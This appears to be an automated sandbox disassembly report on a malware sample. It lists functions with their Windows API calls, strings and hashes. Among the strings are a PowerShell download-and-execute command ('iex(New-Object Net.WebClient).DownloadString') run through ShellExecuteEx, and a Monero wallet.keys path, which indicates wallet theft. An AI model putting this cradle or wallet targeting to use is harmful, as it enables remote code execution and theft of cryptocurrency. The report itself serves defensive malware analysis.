GetUserDefaultLangID.KERNEL32 ref: 00ED6774
ExitProcess.KERNEL32 ref: 00ED67A5
ExitProcess.KERNEL32 ref: 00ED67AF
ExitProcess.KERNEL32 ref: 00ED67B9
ExitProcess.KERNEL32 ref: 00ED67C3
ExitProcess.KERNEL32 ref: 00ED67CD

Strings

*, xrefs: 00ED678C

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8f4dea8746271e6dec0a11fab60ff8d6074e677e69c2eeb54fc87876b2b0f037
Instruction ID: bdfce90d79280427a8357d8ed292d37a123c2af8bcea4a5137fdc926cfd00f09
Opcode Fuzzy Hash: 8f4dea8746271e6dec0a11fab60ff8d6074e677e69c2eeb54fc87876b2b0f037
Instruction Fuzzy Hash: 44F05E30D04309EFD3599FE0F50976C7B74FF04707F0441AAE61A97285D6B14B819B95

Function 00ED92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00ED3AEE,?), ref: 00ED92FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00ED9319
CloseHandle.KERNEL32(000000FF), ref: 00ED9327

Strings

:, xrefs: 00ED9311, 00ED933D, 00ED9314
:, xrefs: 00ED92F8, 00ED92FB

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: 77c3470e8d95865ed2d1273b42ba8f402b942f714604464f4f0f141bfa4e0e62
Instruction ID: 99b3ab7073d0ad9bd7a3480797bce46b3916cf0ec6737862596f18d87c9d5eef
Opcode Fuzzy Hash: 77c3470e8d95865ed2d1273b42ba8f402b942f714604464f4f0f141bfa4e0e62
Instruction Fuzzy Hash: 6DF04F35E40308BBDB28DFB0EC49F9E77B9EB48710F10C264B661B72C4D6B196418B40

Function 00EDC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00EDC8BF
___crtGetStringTypeA.LIBCMT ref: 00EDC8EC
___crtLCMapStringA.LIBCMT ref: 00EDC90C
___crtLCMapStringA.LIBCMT ref: 00EDC931

Strings

, xrefs: 00EDC896

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: daaff97c5ba527a5021351608673194c045cdf63bb86cc1c8658ef82cbd74cc4
Instruction ID: a7006c4f5d11a309fe10022c7866515a5767f7ae19c9d86deab30327a4cad95f
Opcode Fuzzy Hash: daaff97c5ba527a5021351608673194c045cdf63bb86cc1c8658ef82cbd74cc4
Instruction Fuzzy Hash: 78415AB110078C5EDB218B24CC94FFB7BECDF45348F2454E9E5CAA6282D2719A46DF60

Function 00ED2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00ED2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00ED2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00ED2CC4
')", xrefs: 00ED2CB3
<, xrefs: 00ED2D39

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0eb79d3f6723788b916a3843c3e357e7edb96dfe720696aadbb291452554af70
Instruction ID: 84b794e73488781468c7c111b019136475ef88fb40e4fed276abdbf3786c8887
Opcode Fuzzy Hash: 0eb79d3f6723788b916a3843c3e357e7edb96dfe720696aadbb291452554af70
Instruction Fuzzy Hash: 2841DC71C002489ADB18EBA0D895BEDB7B4EF10300F44512AE516B6291EF742B8BDF95

Function 00EC9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00EC9F41

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00EC9E67
@, xrefs: 00EC9EF1
v20, xrefs: 00EC9E21
v10, xrefs: 00EC9EA3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9ca90093b27949f2256846125ea5a192c67de2fffc36871413f19430961e0fad
Instruction ID: 7c7d6350dc9257337200a68fce8918db0db99000fa34b00aef6206f1f0dc8836
Opcode Fuzzy Hash: 9ca90093b27949f2256846125ea5a192c67de2fffc36871413f19430961e0fad
Instruction Fuzzy Hash: AD616D31A1024C9BDB24EFA4CD96FED73B5AF44344F049029F90A6B281DBB06A06CB51

Function 00ED6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00ED696C
sscanf.NTDLL ref: 00ED6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00ED69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00ED69C0
ExitProcess.KERNEL32 ref: 00ED69DA

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9f8665494cc0dc38a0593c4f793506ed7956c79d4557125eb3b7ead11abe8e88
Instruction ID: ea42297eb98378be1c3b73732eb9733252b4062d175a8ae2cb366d377da38f83
Opcode Fuzzy Hash: 9f8665494cc0dc38a0593c4f793506ed7956c79d4557125eb3b7ead11abe8e88
Instruction Fuzzy Hash: 4221EB75D00208ABCF09EFE4E945AEEB7B9FF48300F04852AE416F3244EB745605CB69

Function 00ED9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00A9E098,?,?,?,00ED140C,?,00A9E098,00000000), ref: 00ED926C
lstrcpyn.KERNEL32(0110AB88,00A9E098,00A9E098,?,00ED140C,?,00A9E098), ref: 00ED9290
lstrlen.KERNEL32(?,?,00ED140C,?,00A9E098), ref: 00ED92A7
wsprintfA.USER32 ref: 00ED92C7

Strings

%s%s, xrefs: 00ED92B5

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 02c0a43c231dbfdd3e214b83df22eef2945b845c943741f53676ba73270af8af
Instruction ID: d0b524e44cd906e87ae9155a34f3ed7df394ec8a11adcf42fbe2b4f591658a40
Opcode Fuzzy Hash: 02c0a43c231dbfdd3e214b83df22eef2945b845c943741f53676ba73270af8af
Instruction Fuzzy Hash: 2E010C75900208FFCB09DFECE984EAE7BB9EF44354F108548F9099B245C6B1AA80DB90

Function 00ED6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00ED6663

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00ED6726
ExitProcess.KERNEL32 ref: 00ED6755

Strings

<, xrefs: 00ED66D9

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
